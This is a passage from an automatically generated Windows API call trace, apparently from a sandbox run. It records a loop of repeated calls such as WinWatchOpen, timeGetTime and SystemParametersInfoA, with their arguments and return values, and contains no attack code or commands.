returned 1 [0141.131] LockResource (hResData=0x0) returned 0x0 [0141.131] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.131] WinWatchNotify () returned 0x0 [0141.131] timeGetTime () returned 0x1138800 [0141.131] WinWatchOpen () returned 0x60bbe0 [0141.131] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.131] LockResource (hResData=0x0) returned 0x0 [0141.131] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.131] WinWatchNotify () returned 0x0 [0141.131] timeGetTime () returned 0x1138801 [0141.131] WinWatchOpen () returned 0x60bc00 [0141.131] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.131] LockResource (hResData=0x0) returned 0x0 [0141.132] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.132] WinWatchNotify () returned 0x0 [0141.132] timeGetTime () returned 0x1138801 [0141.132] WinWatchOpen () returned 0x60bc20 [0141.132] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.132] LockResource (hResData=0x0) returned 0x0 [0141.132] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.132] WinWatchNotify () returned 0x0 [0141.132] timeGetTime () returned 0x1138801 [0141.132] WinWatchOpen () returned 0x60bc40 [0141.132] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.132] LockResource (hResData=0x0) returned 0x0 [0141.132] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.132] WinWatchNotify () returned 0x0 [0141.132] timeGetTime () returned 0x1138801 [0141.132] WinWatchOpen () returned 0x60bc60 [0141.132] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.132] LockResource (hResData=0x0) returned 0x0 [0141.132] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.132] WinWatchNotify () returned 0x0 [0141.132] timeGetTime () returned 0x1138801 [0141.132] WinWatchOpen () returned 0x60bc80 [0141.132] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.132] LockResource (hResData=0x0) returned 0x0 [0141.132] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.132] WinWatchNotify () returned 0x0 [0141.132] timeGetTime () returned 0x1138801 [0141.132] WinWatchOpen () returned 0x60bca0 [0141.132] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.132] LockResource (hResData=0x0) returned 0x0 [0141.132] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.132] WinWatchNotify () returned 0x0 [0141.132] timeGetTime () returned 0x1138801 [0141.132] WinWatchOpen () returned 0x60bcc0 [0141.132] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.132] LockResource (hResData=0x0) returned 0x0 [0141.133] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.133] WinWatchNotify () returned 0x0 [0141.133] timeGetTime () returned 0x1138802 [0141.133] WinWatchOpen () returned 0x60bce0 [0141.133] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.133] LockResource (hResData=0x0) returned 0x0 [0141.133] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.133] WinWatchNotify () returned 0x0 [0141.133] timeGetTime () returned 0x1138802 [0141.133] WinWatchOpen () returned 0x60bd00 [0141.133] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.133] LockResource (hResData=0x0) returned 0x0 [0141.133] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.133] WinWatchNotify () returned 0x0 [0141.133] timeGetTime () returned 0x1138802 [0141.133] WinWatchOpen () returned 0x60bd20 [0141.133] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.133] LockResource (hResData=0x0) returned 0x0 [0141.133] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.133] WinWatchNotify () returned 0x0 [0141.133] timeGetTime () returned 0x1138802 [0141.133] WinWatchOpen () returned 0x60bd40 [0141.133] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.133] LockResource (hResData=0x0) returned 0x0 [0141.133] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.133] WinWatchNotify () returned 0x0 [0141.133] timeGetTime () returned 0x1138802 [0141.133] WinWatchOpen () returned 0x60bd60 [0141.133] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.133] LockResource (hResData=0x0) returned 0x0 [0141.133] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.133] WinWatchNotify () returned 0x0 [0141.133] timeGetTime () returned 0x1138802 [0141.133] WinWatchOpen () returned 0x60bd80 [0141.133] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.133] LockResource (hResData=0x0) returned 0x0 [0141.133] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.133] WinWatchNotify () returned 0x0 [0141.133] timeGetTime () returned 0x1138803 [0141.134] WinWatchOpen () returned 0x60bda0 [0141.134] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.134] LockResource (hResData=0x0) returned 0x0 [0141.134] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.134] WinWatchNotify () returned 0x0 [0141.134] timeGetTime () returned 0x1138803 [0141.134] WinWatchOpen () returned 0x60bdc0 [0141.134] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.134] LockResource (hResData=0x0) returned 0x0 [0141.134] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.134] WinWatchNotify () returned 0x0 [0141.134] timeGetTime () returned 0x1138803 [0141.134] WinWatchOpen () returned 0x60bde0 [0141.134] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.134] LockResource (hResData=0x0) returned 0x0 [0141.134] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.134] WinWatchNotify () returned 0x0 [0141.134] timeGetTime () returned 0x1138803 [0141.134] WinWatchOpen () returned 0x60be00 [0141.134] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.134] LockResource (hResData=0x0) returned 0x0 [0141.134] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.134] WinWatchNotify () returned 0x0 [0141.134] timeGetTime () returned 0x1138803 [0141.134] WinWatchOpen () returned 0x60be20 [0141.134] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.134] LockResource (hResData=0x0) returned 0x0 [0141.134] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.134] WinWatchNotify () returned 0x0 [0141.134] timeGetTime () returned 0x1138803 [0141.134] WinWatchOpen () returned 0x60be40 [0141.134] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.134] LockResource (hResData=0x0) returned 0x0 [0141.134] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.134] WinWatchNotify () returned 0x0 [0141.134] timeGetTime () returned 0x1138803 [0141.134] WinWatchOpen () returned 0x60be60 [0141.134] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.134] LockResource (hResData=0x0) returned 0x0 [0141.134] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.135] WinWatchNotify () returned 0x0 [0141.135] timeGetTime () returned 0x1138804 [0141.135] WinWatchOpen () returned 0x60be80 [0141.135] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.135] LockResource (hResData=0x0) returned 0x0 [0141.135] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.135] WinWatchNotify () returned 0x0 [0141.135] timeGetTime () returned 0x1138804 [0141.135] WinWatchOpen () returned 0x60bea0 [0141.135] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.135] LockResource (hResData=0x0) returned 0x0 [0141.135] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.135] WinWatchNotify () returned 0x0 [0141.135] timeGetTime () returned 0x1138804 [0141.135] WinWatchOpen () returned 0x60bec0 [0141.135] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.135] LockResource (hResData=0x0) returned 0x0 [0141.135] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.135] WinWatchNotify () returned 0x0 [0141.135] timeGetTime () returned 0x1138804 [0141.135] WinWatchOpen () returned 0x60bee0 [0141.135] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.135] LockResource (hResData=0x0) returned 0x0 [0141.135] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.135] WinWatchNotify () returned 0x0 [0141.135] timeGetTime () returned 0x1138804 [0141.135] WinWatchOpen () returned 0x60bf20 [0141.135] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.135] LockResource (hResData=0x0) returned 0x0 [0141.135] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.135] WinWatchNotify () returned 0x0 [0141.135] timeGetTime () returned 0x1138804 [0141.135] WinWatchOpen () returned 0x60bf40 [0141.135] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.135] LockResource (hResData=0x0) returned 0x0 [0141.136] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.136] WinWatchNotify () returned 0x0 [0141.136] timeGetTime () returned 0x1138805 [0141.136] WinWatchOpen () returned 0x60bf60 [0141.136] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.136] LockResource (hResData=0x0) returned 0x0 [0141.136] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.136] WinWatchNotify () returned 0x0 [0141.136] timeGetTime () returned 0x1138805 [0141.136] WinWatchOpen () returned 0x60bf80 [0141.136] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.136] LockResource (hResData=0x0) returned 0x0 [0141.136] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.136] WinWatchNotify () returned 0x0 [0141.136] timeGetTime () returned 0x1138805 [0141.136] WinWatchOpen () returned 0x60bfa0 [0141.136] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.136] LockResource (hResData=0x0) returned 0x0 [0141.136] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.136] WinWatchNotify () returned 0x0 [0141.136] timeGetTime () returned 0x1138805 [0141.136] WinWatchOpen () returned 0x60bfc0 [0141.136] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.136] LockResource (hResData=0x0) returned 0x0 [0141.136] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.136] WinWatchNotify () returned 0x0 [0141.136] timeGetTime () returned 0x1138805 [0141.136] WinWatchOpen () returned 0x60bfe0 [0141.136] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.136] LockResource (hResData=0x0) returned 0x0 [0141.136] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.136] WinWatchNotify () returned 0x0 [0141.136] timeGetTime () returned 0x1138805 [0141.136] WinWatchOpen () returned 0x60c000 [0141.136] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.137] LockResource (hResData=0x0) returned 0x0 [0141.137] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.137] WinWatchNotify () returned 0x0 [0141.137] timeGetTime () returned 0x1138806 [0141.137] WinWatchOpen () returned 0x60c020 [0141.137] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.137] LockResource (hResData=0x0) returned 0x0 [0141.137] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.137] WinWatchNotify () returned 0x0 [0141.137] timeGetTime () returned 0x1138806 [0141.137] WinWatchOpen () returned 0x60c040 [0141.137] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.137] LockResource (hResData=0x0) returned 0x0 [0141.137] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.137] WinWatchNotify () returned 0x0 [0141.137] timeGetTime () returned 0x1138806 [0141.137] WinWatchOpen () returned 0x60c060 [0141.137] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.137] LockResource (hResData=0x0) returned 0x0 [0141.137] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.137] WinWatchNotify () returned 0x0 [0141.137] timeGetTime () returned 0x1138806 [0141.137] WinWatchOpen () returned 0x60c080 [0141.137] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.137] LockResource (hResData=0x0) returned 0x0 [0141.137] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.137] WinWatchNotify () returned 0x0 [0141.137] timeGetTime () returned 0x1138806 [0141.137] WinWatchOpen () returned 0x60c0a0 [0141.137] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.137] LockResource (hResData=0x0) returned 0x0 [0141.137] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.137] WinWatchNotify () returned 0x0 [0141.137] timeGetTime () returned 0x1138806 [0141.137] WinWatchOpen () returned 0x60c0c0 [0141.138] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.138] LockResource (hResData=0x0) returned 0x0 [0141.138] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.138] WinWatchNotify () returned 0x0 [0141.138] timeGetTime () returned 0x1138807 [0141.138] WinWatchOpen () returned 0x60c0e0 [0141.138] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.138] LockResource (hResData=0x0) returned 0x0 [0141.138] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.138] WinWatchNotify () returned 0x0 [0141.138] timeGetTime () returned 0x1138807 [0141.138] WinWatchOpen () returned 0x60c100 [0141.138] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.138] LockResource (hResData=0x0) returned 0x0 [0141.138] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.138] WinWatchNotify () returned 0x0 [0141.138] timeGetTime () returned 0x1138807 [0141.138] WinWatchOpen () returned 0x60c120 [0141.138] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.138] LockResource (hResData=0x0) returned 0x0 [0141.138] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.138] WinWatchNotify () returned 0x0 [0141.138] timeGetTime () returned 0x1138807 [0141.138] WinWatchOpen () returned 0x60c140 [0141.138] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.138] LockResource (hResData=0x0) returned 0x0 [0141.138] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.138] WinWatchNotify () returned 0x0 [0141.138] timeGetTime () returned 0x1138807 [0141.138] WinWatchOpen () returned 0x60c160 [0141.138] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.138] LockResource (hResData=0x0) returned 0x0 [0141.138] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.138] WinWatchNotify () returned 0x0 [0141.138] timeGetTime () returned 0x1138807 [0141.138] WinWatchOpen () returned 0x60c180 [0141.138] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.138] LockResource (hResData=0x0) returned 0x0 [0141.139] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.139] WinWatchNotify () returned 0x0 [0141.139] timeGetTime () returned 0x1138808 [0141.139] WinWatchOpen () returned 0x60c1a0 [0141.139] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.139] LockResource (hResData=0x0) returned 0x0 [0141.139] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.139] WinWatchNotify () returned 0x0 [0141.139] timeGetTime () returned 0x1138808 [0141.139] WinWatchOpen () returned 0x60c1c0 [0141.139] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.139] LockResource (hResData=0x0) returned 0x0 [0141.139] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.139] WinWatchNotify () returned 0x0 [0141.139] timeGetTime () returned 0x1138808 [0141.139] WinWatchOpen () returned 0x60c1e0 [0141.139] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.139] LockResource (hResData=0x0) returned 0x0 [0141.139] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.139] WinWatchNotify () returned 0x0 [0141.139] timeGetTime () returned 0x1138808 [0141.139] WinWatchOpen () returned 0x60c200 [0141.139] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.139] LockResource (hResData=0x0) returned 0x0 [0141.139] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.139] WinWatchNotify () returned 0x0 [0141.139] timeGetTime () returned 0x1138808 [0141.139] WinWatchOpen () returned 0x60c220 [0141.139] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.139] LockResource (hResData=0x0) returned 0x0 [0141.139] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.139] WinWatchNotify () returned 0x0 [0141.139] timeGetTime () returned 0x1138808 [0141.139] WinWatchOpen () returned 0x60c240 [0141.139] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.139] LockResource (hResData=0x0) returned 0x0 [0141.139] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.140] WinWatchNotify () returned 0x0 [0141.140] timeGetTime () returned 0x1138809 [0141.140] WinWatchOpen () returned 0x60c260 [0141.140] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.140] LockResource (hResData=0x0) returned 0x0 [0141.140] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.140] WinWatchNotify () returned 0x0 [0141.140] timeGetTime () returned 0x1138809 [0141.140] WinWatchOpen () returned 0x60c280 [0141.140] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.140] LockResource (hResData=0x0) returned 0x0 [0141.140] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.140] WinWatchNotify () returned 0x0 [0141.140] timeGetTime () returned 0x1138809 [0141.140] WinWatchOpen () returned 0x60c2a0 [0141.140] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.140] LockResource (hResData=0x0) returned 0x0 [0141.140] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.140] WinWatchNotify () returned 0x0 [0141.140] timeGetTime () returned 0x1138809 [0141.140] WinWatchOpen () returned 0x60c2c0 [0141.140] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.140] LockResource (hResData=0x0) returned 0x0 [0141.140] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.140] WinWatchNotify () returned 0x0 [0141.140] timeGetTime () returned 0x1138809 [0141.140] WinWatchOpen () returned 0x60c2e0 [0141.140] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.140] LockResource (hResData=0x0) returned 0x0 [0141.140] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.140] WinWatchNotify () returned 0x0 [0141.140] timeGetTime () 